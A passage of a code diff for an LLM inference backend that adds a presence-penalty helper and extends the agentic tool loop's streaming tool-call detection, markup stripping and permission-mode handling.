+    if not isinstance(text, str) or not _has_heal_signal(text):
+        return False
+    return not _heal_would_promote(text, allowed_tools, tools)
+
+
+def nudge_messages(data: Any, allowed_tools: set) -> list:
+    """The two-message suffix appended for the single nudge retry.
+
+    The retry body is the original body plus this suffix, so the prompt prefix
+    is byte-identical and llama-server's slot/prefix cache is reused (same
+    shape as the enable-tools loop's reprompt).
+    """
+    tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool"
+    return [
+        {"role": "assistant", "content": _last_assistant_text(data)},
+        {
+            "role": "user",
+            "content": (
+                "You have access to the declared tools. If a tool is needed to "
+                f"complete the action you described, call {tool_hint} now using the "
+                "native tool-call format with valid JSON arguments, not prose. If no "
+                "tool is needed, provide the final answer directly."
+            ),
+        },
+    ]
diff --git a/studio/backend/core/inference/presence_penalty.py b/studio/backend/core/inference/presence_penalty.py
new file mode 100644
index 0000000000..c73c513887
--- /dev/null
+++ b/studio/backend/core/inference/presence_penalty.py
@@ -0,0 +1,49 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Presence-penalty logits helpers for the safetensors/MLX inference paths.
+
+Kept in a dependency-light leaf module (torch + transformers only, no unsloth /
+peft) so the pure logic can be imported and unit-tested without pulling in the
+full inference backend. ``core.inference.inference`` re-exports these for the
+runtime generate paths.
+"""
+
+import torch
+
+
+def apply_presence_penalty(input_ids, scores, penalty: float, prompt_len: int):
+    """OpenAI/llama.cpp presence penalty: subtract ``penalty`` once per distinct
+    completion token (positions >= prompt_len; prompt excluded, multiplicity
+    ignored, negatives raise). In place; zero is a no-op."""
+    if not penalty:
+        return scores
+    vocab_size = scores.shape[-1]
+    for b in range(input_ids.shape[0]):
+        generated = input_ids[b, prompt_len:]
+        if generated.numel() == 0:
+            continue
+        seen = torch.unique(generated)
+        # Bound generated ids to the valid range [0, vocab_size). Real completion
+        # tokens are always in range, so this is a zero-regression safety net that
+        # drops any stray out-of-range or negative id before indexing (mirrors the
+        # MLX path's bound). Filtering both ends avoids indexing scores with a
+        # negative id (which would silently wrap to the wrong row).
+        seen = seen[(seen >= 0) & (seen < vocab_size)]
+        if seen.numel():
+            scores[b, seen] = scores[b, seen] - penalty
+    return scores
+
+
+def _make_presence_penalty_processor(penalty: float, prompt_len: int):
+    """``LogitsProcessorList`` for ``apply_presence_penalty``; ``None`` at zero penalty (generate call stays byte-identical)."""
+    if not penalty:
+        return None
+    from transformers import LogitsProcessor, LogitsProcessorList
+
+    class _PresencePenaltyLogitsProcessor(LogitsProcessor):
+        @torch.no_grad()
+        def __call__(self, input_ids, scores):
+            return apply_presence_penalty(input_ids, scores, penalty, prompt_len)
+
+    return LogitsProcessorList([_PresencePenaltyLogitsProcessor()])
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index 0c96378d6c..9110315815 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -14,6 +14,8 @@ parses tool calls from the cumulative text and dispatches via
 ``core.inference.tools``.
 """
 
+import bisect
+import inspect
 import re
 import threading
 from typing import Callable, Generator, Optional
@@ -21,20 +23,47 @@ from typing import Callable, Generator, Optional
 from loggers import get_logger
 
 from core.inference.tool_call_parser import (
-    _TOOL_ALL_PATS,
+    _GEMMA_BARE_TC_PREFIX_RE,
+    _GEMMA_BARE_TC_RE,
+    _TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS,
+    _balanced_brace_end,
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+    _strip_mistral_reasoning,
     BUDGET_EXHAUSTED_NUDGE,
+    MAX_ACT_REPROMPTS,
     RAG_MAX_SEARCHES_PER_TURN,
     RAG_SEARCH_CAP_NUDGE,
     TOOL_XML_SIGNALS,
+    is_short_intent_without_action,
     parse_tool_calls_from_text,
+    reprompt_to_act_message,
+    strip_leading_bare_json_call,
+    strip_llama3_leading_sentinels,
     strip_tool_markup,
 )
+
+# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated
+# pattern lists, so the safetensors streaming strip stays aligned with the parser.
+from core.tool_healing import (
+    _REHEARSAL_TAIL_STRIP_RE,
+    _THINK_CLOSE_RE,
+    _strip_bracket_tag_calls,
+    _think_spans_outside_tool_markup,
+    apply_tool_strip_patterns,
+    strip_outside_think,
+)
 from core.inference.tool_loop_controller import (
     ToolLoopController,
+    append_deferred_nudges,
     coerce_tool_arguments,
     status_for_tool,
     tool_event_provenance,
 )
+from core.inference.tool_stream_exec import stream_tool_execution
 from state.tool_approvals import (
     TOOL_REJECTED_MESSAGE,
     abort_tool_decision,
@@ -50,19 +79,213 @@ logger = get_logger(__name__)
 # Buffer cap while disambiguating a possible tool-call prefix.
 _MAX_BUFFER_CHARS = 32
 
+# Memory bound for holding a leading bare-JSON object whose top-level "{" never balances.
+_MAX_BARE_JSON_BUFFER = 16384
+
+
+# No grammar constraint here (unlike llama-server's lazy grammar): collapse
+# exact-duplicate calls and cap the count so a runaway turn cannot fan out.
+_MAX_TOOL_CALLS_PER_TURN = 8
+
+
+def _active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in active_tools
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+def _active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in active_tools
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+# Unrestricted mode has no tool list, so any identifier may open a NAME[ARGS] rehearsal;
+# ``[`` and each ARGS letter stay optional so a chunk split after ``NAME[`` is still held.
+_UNRESTRICTED_REHEARSAL_RE = re.compile(r"[\w-]+(?:\[(?:A(?:R(?:G(?:S)?)?)?)?)?")
+
+
+def _is_rehearsal_prefix(
+    stripped: str,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> bool:
+    """True if ``stripped`` is a (possibly partial) prefix of a ``NAME[ARGS]``
+    rehearsal split across chunks (``web_search`` then ``[ARGS]{...}``). A space
+    means prose. Unrestricted mode accepts any identifier; else NAME must be active."""
+    if not stripped or any(ch.isspace() for ch in stripped):
+        return False
+    if unrestricted:
+        return _UNRESTRICTED_REHEARSAL_RE.fullmatch(stripped) is not None
+    for name in _active_tool_names(active_tools):
+        if stripped == name or f"{name}[ARGS]".startswith(stripped):
+            return True
+    return False
+
+
+def _held_rehearsal_tail_len(
+    text: str,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """Length of a trailing bare tool-name token that may be a split rehearsal call
+    (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it
+    instead of leaking the name. Returns 0 for ordinary prose."""
+    i = len(text)
+    while i > 0 and not text[i - 1].isspace():
+        i -= 1
+    tail = text[i:]
+    return (
+        len(tail)
+        if tail and _is_rehearsal_prefix(tail, active_tools, unrestricted = unrestricted)
+        else 0
+    )
+
+
+def _rehearsal_name_start(
+    candidate: str,
+    signal_pos: int,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """For an ``[ARGS]`` signal at ``signal_pos``, return the start of the preceding
+    bare tool-name token (``NAME[ARGS]``), else ``signal_pos`` unchanged when the
+    signal is not ``[ARGS]`` or NAME is not an active tool (restricted mode)."""
+    if not candidate.startswith("[ARGS]", signal_pos):
+        return signal_pos
+    j = signal_pos
+    while j > 0 and (candidate[j - 1].isalnum() or candidate[j - 1] in "_-"):
+        j -= 1
+    if j < signal_pos and (
+        unrestricted or candidate[j:signal_pos] in _active_tool_names(active_tools)
+    ):
+        return j
+    return signal_pos
+
+
+def _earliest_tool_signal(
+    candidate: str,
+    signals,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """Index where the turn's first genuine tool-call boundary begins, or -1.
+
+    Non-``[ARGS]`` markup wins on first occurrence. An ``[ARGS]`` hit is a rehearsal
+    only when an active tool name (any name in unrestricted mode) precedes it, so a
+    literal ``foo[ARGS]`` in prose is skipped rather than draining the turn; for a
+    real ``NAME[ARGS]`` the boundary is pulled back to NAME."""
+    best = -1
+    for sig in signals:
+        if sig != "[ARGS]":
+            p = candidate.find(sig)
+            if p >= 0 and (best < 0 or p < best):
+                best = p
+            continue
+        from_idx = 0
+        while True:
+            p = candidate.find("[ARGS]", from_idx)
+            if p < 0:
+                break
+            name_start = _rehearsal_name_start(
+                candidate, p, active_tools, unrestricted = unrestricted
+            )
+            if name_start < p:
+                # Genuine ``NAME[ARGS]``: the boundary is the start of NAME.
+                if best < 0 or name_start < best:
+                    best = name_start
+                break
+            # Bare/prose [ARGS]: skip it so a later real call in the same chunk is still found.
+            from_idx = p + len("[ARGS]")
+    return best
+
+
+def _has_genuine_tool_signal(
+    candidate: str,
+    signals,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> bool:
+    """True when ``candidate`` holds a genuine tool-call boundary for one of ``signals``.
+
+    Non-``[ARGS]`` markers count on a substring hit; an ``[ARGS]`` hit is genuine only
+    when an active tool name (any in unrestricted mode) precedes it. Mirrors the
+    ``_earliest_tool_signal`` name-gating so BUFFERING / end-of-stream checks do not
+    drain inactive-name prose."""
+    for sig in signals:
+        if sig == "[ARGS]":
+            if (
+                _earliest_tool_signal(
+                    candidate, ("[ARGS]",), active_tools, unrestricted = unrestricted
+                )
+                >= 0
+            ):
+                return True
+            continue
+        if sig in candidate:
+            return True
+    return False
+
 
 def strip_tool_markup_streaming(
     text: str,
     *,
     auto_heal_tool_calls: bool = True,
     tool_protocol_active: bool = False,
+    enabled_tool_names: Optional[set] = None,
 ) -> str:
-    """Strip open-ended tool XML from display text without trimming whitespace."""
+    """Strip open-ended tool XML from display text without trimming whitespace.
+
+    Mirrors the parser-side ``strip_tool_markup`` segment scan (minus the final trim) so
+    streaming and final display agree: balanced strips first (nested JSON removed whole),
+    then the guarded function-XML / GLM scans that close at each call's REAL terminator so
+    literal markup inside argument values is data and trailing prose survives. Reasoning
+    ``<think>`` / ``[THINK]`` blocks are preserved verbatim (a rehearsed call inside one must
+    not be deleted, else the cumulative text shrinks then regrows). ``enabled_tool_names``
+    keeps an inactive-name ``foo[ARGS]{..}`` / ``call:NAME{..}`` example visible (it is prose,
+    not a call), matching the parse / detection active-tool gate."""
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
-    for pat in _TOOL_ALL_PATS:
-        text = pat.sub("", text)
-    return text
+
+    # Drop a leading Magistral ``[THINK]...[/THINK]`` block (bracket reasoning form, not the
+    # ``<think>`` channel) so raw reasoning does not leak into streamed display; an unclosed
+    # leading block is held (dropped to EOF) until its closer streams in.
+    text = _strip_mistral_reasoning(text)
+
+    def _seg(segment: str, is_last: bool) -> str:
+        # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced
+        # strips first, then the guarded function-XML / GLM scans, then the regex arms
+        # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last
+        # segment (a bare ``foo[ARGS]`` before <think> is prose). Rehearsal strips are name-gated.
+        seg = _strip_mistral_closed_calls(segment)
+        seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if is_last:
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        seg = _strip_function_xml_calls(seg, final = is_last)
+        seg = _strip_glm_calls(seg, final = is_last)
+        pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS
+        for pat in pats:
+            seg = pat.sub("", seg)
+        if is_last:
+            seg = apply_tool_strip_patterns(
+                seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = enabled_tool_names
+            )
+        return seg
+
+    # Preserve think blocks verbatim: stripping a rehearsed call inside one shrinks then
+    # regrows the cumulative text, corrupting append-by-length consumers.
+    return strip_outside_think(text, _seg)
 
 
 def _strip_tool_markup_final(
@@ -70,10 +293,11 @@ def _strip_tool_markup_final(
     *,
     auto_heal_tool_calls: bool,
     tool_protocol_active: bool = False,
+    enabled_tool_names: Optional[set] = None,
 ) -> str:
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
-    return strip_tool_markup(text, final = True)
+    return strip_tool_markup(text, final = True, enabled_tool_names = enabled_tool_names)
 
 
 def _status_for_tool(tool_name: str, arguments: dict) -> str:
@@ -81,25 +305,115 @@ def _status_for_tool(tool_name: str, arguments: dict) -> str:
     return status_for_tool(tool_name, arguments)
 
 
+def _reprompt_intent_text(text: str, *, reasoning_prefilled: bool = False) -> str:
+    """Return visible answer text for the plan-without-action classifier.
+
+    Safetensors reasoning shares the cumulative text channel with the answer.
+    Forward-looking phrases inside ``<think>`` / ``[THINK]`` are private
+    planning, not a user-visible promise to call a tool. Match GGUF's behavior:
+    classify visible content when present and fall back to reasoning only for a
+    reasoning-only stall.
+    """
+    prefilled_reasoning = ""
+    if reasoning_prefilled:
+        close = _THINK_CLOSE_RE.search(text)
+        if close is None:
+            return text.strip()
+        prefilled_reasoning = text[: close.end()].strip()
+        text = text[close.end() :].strip()
+        if not text:
+            return prefilled_reasoning
+
+    spans = _think_spans_outside_tool_markup(text)
+    if not spans:
+        return text.strip()
+
+    visible: list[str] = []
+    reasoning: list[str] = []
+    cursor = 0
+    for start, end in spans:
+        visible.append(text[cursor:start])
+        reasoning.append(text[start:end])
+        cursor = end
+    visible.append(text[cursor:])
+
+    visible_text = "".join(visible).strip()
+    reasoning_text = "".join(reasoning).strip()
+    if visible_text:
+        return visible_text
+    return "\n".join(part for part in (prefilled_reasoning, reasoning_text) if part).strip()
+
+
+def _looks_like_enabled_bare_json(text: str, enabled_tool_names: Optional[set]) -> bool:
+    """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
+    probe = strip_llama3_leading_sentinels(text.lstrip())
+    if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+        return False
+    return strip_leading_bare_json_call(probe, enabled_tool_names) != probe
+
+
 _FUNCTION_SIGNAL_RE = re.compile(r"<function=([\w-]+)>")
 _TOOL_CALL_NAME_RE = re.compile(r'"name"\s*:\s*"([\w-]+)"')
+# Mistral name/v11 and rehearsal forms, aligned with the parser so the provisional
+# render-html card fires for bracket-tag serializations too.
+_MISTRAL_RENDER_NAME_RE = re.compile(
+    r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)"
+)
+_REHEARSAL_RENDER_NAME_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?=\{)")
 
 
 def _detect_render_html_tool_start(content: str) -> bool:
-    """Return True when the first drained tool call is clearly render_html."""
-    function_match = _FUNCTION_SIGNAL_RE.search(content)
-    tool_call_index = content.find("<tool_call>")
-    if not function_match and tool_call_index < 0:
+    """Return True when the FIRST tool call in ``content`` is clearly render_html.
+
+    Covers every serialization the loop executes (XML ``<function=>`` / ``<tool_call>``,
+    Mistral ``[TOOL_CALLS]``, rehearsal ``NAME[ARGS]``); the earliest marker wins so a
+    render_html marker inside another call's argument is treated as data. Markers inside
+    a ``<think>`` / ``[THINK]`` block are dropped since the parser skips them."""
+    think_spans = _think_spans_outside_tool_markup(content)
+    _think_starts = [s for s, _e in think_spans]
+
+    def _in_think(pos: int) -> bool:
+        if not think_spans:
+            return False
+        i = bisect.bisect_right(_think_starts, pos) - 1
+        return i >= 0 and think_spans[i][0] <= pos < think_spans[i][1]
+
+    def _first_outside(start: int, finder) -> int:
+        # First occurrence at/after ``start`` that is not inside a think span.
+        pos = finder(start)
+        while pos >= 0 and _in_think(pos):
+            pos = finder(pos + 1)
+        return pos
+
+    candidates: list[tuple[int, str]] = []
+    for fm in _FUNCTION_SIGNAL_RE.finditer(content):
+        if not _in_think(fm.start()):
+            candidates.append((fm.start(), fm.group(1)))
+            break
+    tc = _first_outside(0, lambda i: content.find("<tool_call>", i))
+    if tc >= 0:
+        nm = _TOOL_CALL_NAME_RE.search(content[tc:])
+        candidates.append((tc, nm.group(1) if nm else ""))
+    mt = _first_outside(0, lambda i: content.find("[TOOL_CALLS]", i))
+    if mt >= 0:
+        mm = _MISTRAL_RENDER_NAME_RE.match(content, mt)
+        if mm:
+            candidates.append((mt, mm.group(1)))
+        else:
+            # Array shape: a bare ``"name"`` search can latch onto an argument key, so resolve the
+            # first call through the parser (it reads top-level names).
+            arr_calls = parse_tool_calls_from_text(content[mt:])
+            if arr_calls:
+                candidates.append((mt, (arr_calls[0].get("function") or {}).get("name") or ""))
+    for rm in _REHEARSAL_RENDER_NAME_RE.finditer(content):
+        if not _in_think(rm.start(1)):
+            candidates.append((rm.start(1), rm.group(1)))
+            break
+
+    if not candidates:
         return False
-
-    if function_match and (tool_call_index < 0 or function_match.start() < tool_call_index):
-        return function_match.group(1) == "render_html"
-
-    if tool_call_index >= 0:
-        name_match = _TOOL_CALL_NAME_RE.search(content[tool_call_index:])
-        return bool(name_match and name_match.group(1) == "render_html")
-
-    return False
+    _pos, name = min(candidates, key = lambda c: c[0])
+    return name == "render_html"
 
 
 def _coerce_arguments_with_provenance(
@@ -131,6 +445,22 @@ def _tool_event_provenance(**flags: object) -> dict[str, object]:
     return tool_event_provenance(**flags)
 
 
+def _accepts_output_callback(func: Callable[..., str]) -> bool:
+    """Whether an injectable ``execute_tool`` supports ``output_callback``.
+
+    The loop's ``execute_tool`` is a parameter (tests inject fakes), so forward
+    the live-output kwarg only when the callable declares it or takes ``**kwargs``.
+    """
+    try:
+        sig = inspect.signature(func)
+    except (TypeError, ValueError):
+        return False
+    params = sig.parameters
+    if "output_callback" in params:
+        return True
+    return any(p.kind is inspect.Parameter.VAR_KEYWORD for p in params.values())
+
+
 def _call_single_turn(single_turn, conversation: list, active_tools: list[dict]):
     """Call a single-turn generator with active tool schemas when supported."""
     try:
@@ -149,12 +479,16 @@ def run_safetensors_tool_loop(
     execute_tool: Callable[..., str],
     cancel_event: Optional[threading.Event] = None,
     auto_heal_tool_calls: bool = True,
+    nudge_tool_calls: Optional[bool] = None,
     max_tool_iterations: int = 25,
     tool_call_timeout: int = 300,
     session_id: Optional[str] = None,
+    thread_id: Optional[str] = None,
     rag_scope: Optional[dict] = None,
     confirm_tool_calls: bool = False,
     bypass_permissions: bool = False,
+    permission_mode: Optional[str] = None,
+    reasoning_prefilled: bool = False,
 ) -> Generator[dict, None, None]:
     """Drive an agentic tool loop on top of a cumulative-text generator.
 
@@ -180,16 +514,42 @@ def run_safetensors_tool_loop(
     """
     conversation = list(messages)
 
-    # Forced first-pass RAG (mirrors the GGUF loop) so doc Qs don't lose to web_search.
+    # Normalize the mode (mirrors the GGUF loop): "full" and
+    # bypass_permissions are the same switch; unset/unknown behaves as "ask".
+    # "off" keeps the sandbox but never prompts.
+    if permission_mode == "full":
+        bypass_permissions = True
+    elif bypass_permissions:
+        permission_mode = "full"
+    elif permission_mode not in ("ask", "auto", "off"):
+        permission_mode = "ask"
+
+    # Forced first-pass RAG (mirrors the GGUF loop) so doc Qs don't lose to
+    # web_search. Skip only when a retrieval call would actually prompt (ask
+    # mode); auto never gates the safe search_knowledge_base tool.
     from core.inference.tools import build_rag_autoinject
 
-    _auto = None if confirm_tool_calls else build_rag_autoinject(conversation, rag_scope)
+    # off never prompts, so (like auto) it must not lose first-pass retrieval
+    # even if a direct caller passes a stale confirm_tool_calls flag.
+    _skip_autoinject = (
+        confirm_tool_calls and not bypass_permissions and permission_mode not in ("auto", "off")
+    )
+    _auto = None if _skip_autoinject else build_rag_autoinject(conversation, rag_scope)
     if _auto:
         for _ev in _auto["events"]:
             yield _ev
         conversation.extend(_auto["messages"])
+    # Autoinject ran a KB search outside the controller, so it counts as an
+    # executed tool for the plan-without-action gate.
+    rag_autoinjected = bool(_auto)
 
     unrestricted_tools = not tools
+    # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
+    # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = unrestricted.
+    _enabled_names_gate = None if unrestricted_tools else set(_active_tool_names(tools))
+    # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent
+    # one-shot), else its repeat is stripped but never drained and the turn ends blank.
+    _detect_tools = [] if unrestricted_tools else list(tools or [])
     tool_controller = ToolLoopController(
         tools = None if unrestricted_tools else tools,
         auto_heal_tool_calls = auto_heal_tool_calls,
@@ -198,6 +558,14 @@ def run_safetensors_tool_loop(
     kb_search_count = 0
     final_attempt_done = False
     next_call_id = 0
+    reprompt_count = 0
+    # A denied tool confirmation must not be answered with a plan-without-action
+    # re-prompt (which would raise the confirmation gate again).
+    tool_denied = False
+    # Real tool-call turns completed. Only turns that actually executed a tool count
+    # against ``max_tool_iterations``; a duplicate/disabled no-op correction turn (and a
+    # plan-without-action re-prompt) must not consume budget, matching the GGUF loop.
+    _executed_tool_iters = 0
 
     def _tool_succeeded(tool_name: str) -> bool:
         key_prefix = f"{tool_name}:"
@@ -215,9 +583,13 @@ def run_safetensors_tool_loop(
     _state_streaming = 1
     _state_draining = 2
 
-    for iteration in range(max_tool_iterations + 1):
+    # Reserve re-prompt slots so they don't eat the caller's tool budget.
+    _extra_iters = MAX_ACT_REPROMPTS if max_tool_iterations > 0 else 0
+    for iteration in range(max_tool_iterations + _extra_iters + 1):
         if cancel_event is not None and cancel_event.is_set():
             return
+        # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget.
+        _turn_executed_real_tool = False
 
         if final_attempt_done:
             active_tools: list[dict] = []
@@ -229,6 +601,8 @@ def run_safetensors_tool_loop(
 
         tool_protocol_active = not final_attempt_done and (unrestricted_tools or bool(active_tools))
         tool_xml_signals = TOOL_XML_SIGNALS if tool_protocol_active else ()
+        # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call.
+        _enabled_tool_names = None if unrestricted_tools else set(_active_tool_names(active_tools))
 
         detect_state = _state_buffering
         content_buffer = ""
@@ -238,12 +612,24 @@ def run_safetensors_tool_loop(
         provisional_render_html_started = False
         provisional_resolved = False
         provisional_render_html_id = f"call_{next_call_id}"
+        # Live-args offset for the provisional render_html card: the drained call
+        # text streams as tool_args so the canvas shows the HTML being written.
+        _live_args_streamed_upto = -1
         # When a human confirmation gate is active the real tool_start is keyed
         # by an approval id and carries awaiting_confirmation, so an early
         # provisional card (keyed by tool_call_id, no approval) would show the
         # tool as "running" before the user has approved it. Suppress the early
         # card in that case and let the gated tool_start be the first signal.
-        _provisional_confirm_gated = bool(confirm_tool_calls) and not bypass_permissions
+        # In auto mode render_html is always safe and never prompts, so keep its
+        # early canvas card (the frontend sends confirm_tool_calls=true alongside
+        # auto); mirrors the GGUF path's _confirm_gated exemption.
+        from core.inference.tools import is_always_safe_tool
+
+        _provisional_confirm_gated = (
+            bool(confirm_tool_calls)
+            and not bypass_permissions
+            and not (permission_mode == "auto" and is_always_safe_tool("render_html"))
+        )
 
         gen = _call_single_turn(single_turn, conversation, active_tools)
         prev_cumulative = ""
@@ -300,21 +686,46 @@ def run_safetensors_tool_loop(
                         "arguments": {},
                         "provenance": _tool_event_provenance(provisional = True),
                     }
+                    # Backlog first: everything drained so far.
+                    yield {
+                        "type": "tool_args",
+                        "tool_call_id": provisional_render_html_id,
+                        "tool_name": "render_html",
+                        "text": content_accum,
+                    }
+                    _live_args_streamed_upto = len(content_accum)
+                elif (
+                    provisional_render_html_started
+                    and not provisional_resolved
+                    and _live_args_streamed_upto >= 0
+                    and len(content_accum) > _live_args_streamed_upto
+                ):
+                    # Still writing the call: stream the fragment so the canvas
+                    # renders live. Display only; content_accum still feeds the
+                    # stream-end parser verbatim.
+                    yield {
+                        "type": "tool_args",
+                        "tool_call_id": provisional_render_html_id,
+                        "tool_name": "render_html",
+                        "text": content_accum[_live_args_streamed_upto:],
+                    }
+                    _live_args_streamed_upto = len(content_accum)
                 continue
 
             if detect_state == _state_streaming:
                 candidate = cumulative_display + delta
-                signal_pos = -1
-                for sig in tool_xml_signals:
-                    p = candidate.find(sig)
-                    if p >= 0 and (signal_pos < 0 or p < signal_pos):
-                        signal_pos = p
+                # Earliest genuine boundary: bare [ARGS] in prose is skipped; a real NAME[ARGS] is
+                # pulled back to NAME so the name is not flushed.
+                signal_pos = _earliest_tool_signal(
+                    candidate, tool_xml_signals, _detect_tools, unrestricted = unrestricted_tools
+                )
                 if signal_pos >= 0:
                     before_tool = candidate[:signal_pos]
                     cleaned_before = strip_tool_markup_streaming(
                         before_tool,
                         auto_heal_tool_calls = auto_heal_tool_calls,
                         tool_protocol_active = tool_protocol_active,
+                        enabled_tool_names = _enabled_names_gate,
                     )
                     if len(cleaned_before) > len(last_emitted):
                         last_emitted = cleaned_before
@@ -339,16 +750,33 @@ def run_safetensors_tool_loop(
                             "arguments": {},
                             "provenance": _tool_event_provenance(provisional = True),
                         }
+                        yield {
+                            "type": "tool_args",
+                            "tool_call_id": provisional_render_html_id,
+                            "tool_name": "render_html",
+                            "text": content_accum,
+                        }
+                        _live_args_streamed_upto = len(content_accum)
                     continue
                 cumulative_display = candidate
                 cleaned = strip_tool_markup_streaming(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_names_gate,
                 )
-                if len(cleaned) > len(last_emitted):
-                    last_emitted = cleaned
-                    yield {"type": "content", "text": cleaned}
+                # Hold a trailing bare active-tool-name (split rehearsal) until its [ARGS] arrives;
+                # released by later prose or the end-of-stream flush.
+                if tool_protocol_active:
+                    _hold = _held_rehearsal_tail_len(
+                        cleaned, _detect_tools, unrestricted = unrestricted_tools
+                    )
+                    emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                else:
+                    emit = cleaned
+                if len(emit) > len(last_emitted):
+                    last_emitted = emit
+                    yield {"type": "content", "text": emit}
                 continue
 
             # BUFFERING: hold until we know it is not a tool call.
@@ -366,6 +794,92 @@ def run_safetensors_tool_loop(
                 if sig.startswith(stripped):
                     is_prefix = True
                     break
+                # Bracket-tag forms arrive mid-buffer, so substring-check too (mirrors GGUF); [ARGS]
+                # counts only with an active NAME so prose is not drained into a no-op.
+                if sig == "[ARGS]":
+                    if (
+                        _earliest_tool_signal(
+                            stripped,
+                            ("[ARGS]",),
+                            _detect_tools,
+                            unrestricted = unrestricted_tools,
+                        )
+                        >= 0
+                    ):
+                        is_match = True
+                        break
+                elif sig.startswith("[") and sig in stripped:
+                    is_match = True
+                    break
+
+            # Split rehearsal: hold the bare name until its [ARGS] arrives and matches above.
+            is_rehearsal_prefix = False
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and _is_rehearsal_prefix(stripped, _detect_tools, unrestricted = unrestricted_tools)
+            ):
+                is_prefix = True
+                is_rehearsal_prefix = True
+
+            # Llama-3.2 ``custom_tools`` emits a bare ``{"name":..,"parameters":..}`` with no XML
+            # signal. Hold a leading ``{`` (after any sentinel) until it closes: drain if it parses
+            # as a call, else stream as content. Non-call text is always recovered downstream.
+            bare_probe = strip_llama3_leading_sentinels(stripped)
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and bare_probe.startswith("{")
+            ):
+                if _balanced_brace_end(bare_probe, 0) is None:
+                    if len(stripped) < _MAX_BARE_JSON_BUFFER:
+                        continue  # object still open -- keep buffering
+                    elif _looks_like_enabled_bare_json(bare_probe, _enabled_tool_names):
+                        # Oversized still-open ENABLED-tool call: stop holding (memory bound) but
+                        # DRAIN instead of leaking the raw prefix; a giant ordinary JSON answer still streams.
+                        detect_state = _state_draining
+                        continue
+                elif parse_tool_calls_from_text(
+                    content_buffer,
+                    id_offset = next_call_id,
+                    allow_incomplete = auto_heal_tool_calls,
+                    enabled_tool_names = _enabled_tool_names,
+                ):
+                    # Closed object that parses as a bare-JSON call -- drain silently.
+                    detect_state = _state_draining
+                    continue
+                # Closed non-call object (or oversized non-call) -- stream as text.
+
+            # Gemma wrapper-less ``call:NAME{...}`` has no tool_xml_signals entry:
+            # buffer it here or it streams raw until the end-of-turn safety net.
+            # ``(?<!\w)`` keeps "recall:" out; the prefix regex is whitespace-tolerant.
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and (
+                    "call:".startswith(stripped)
+                    or _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None
+                    or _GEMMA_BARE_TC_RE.match(stripped) is not None
+                )
+            ):
+                if _GEMMA_BARE_TC_RE.match(stripped):
+                    detect_state = _state_draining
+                    continue
+                # A ``call:`` / ``call:partial_name`` prefix with no ``{`` yet: keep
+                # buffering the variable-length name instead of leaking ``call:longname``.
+                # Names can exceed 32 chars (OpenAI 64, MCP longer), so a fixed cap would
+                # flush real calls raw. The prefix regex self-terminates on ordinary prose
+                # and the ``{`` drains above; bound generously like the bare-JSON path.
+                if _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None:
+                    if len(stripped) < _MAX_BARE_JSON_BUFFER:
+                        continue
+                    detect_state = _state_draining
+                    continue
+                if len(stripped) < _MAX_BUFFER_CHARS:
+                    continue  # bare "call:" prefix still forming
 
             if is_match:
                 # Tool signal -- flush any visible prefix before DRAINING
@@ -375,6 +889,7 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_names_gate,
                 )
                 if len(cleaned) > len(last_emitted):
                     last_emitted = cleaned
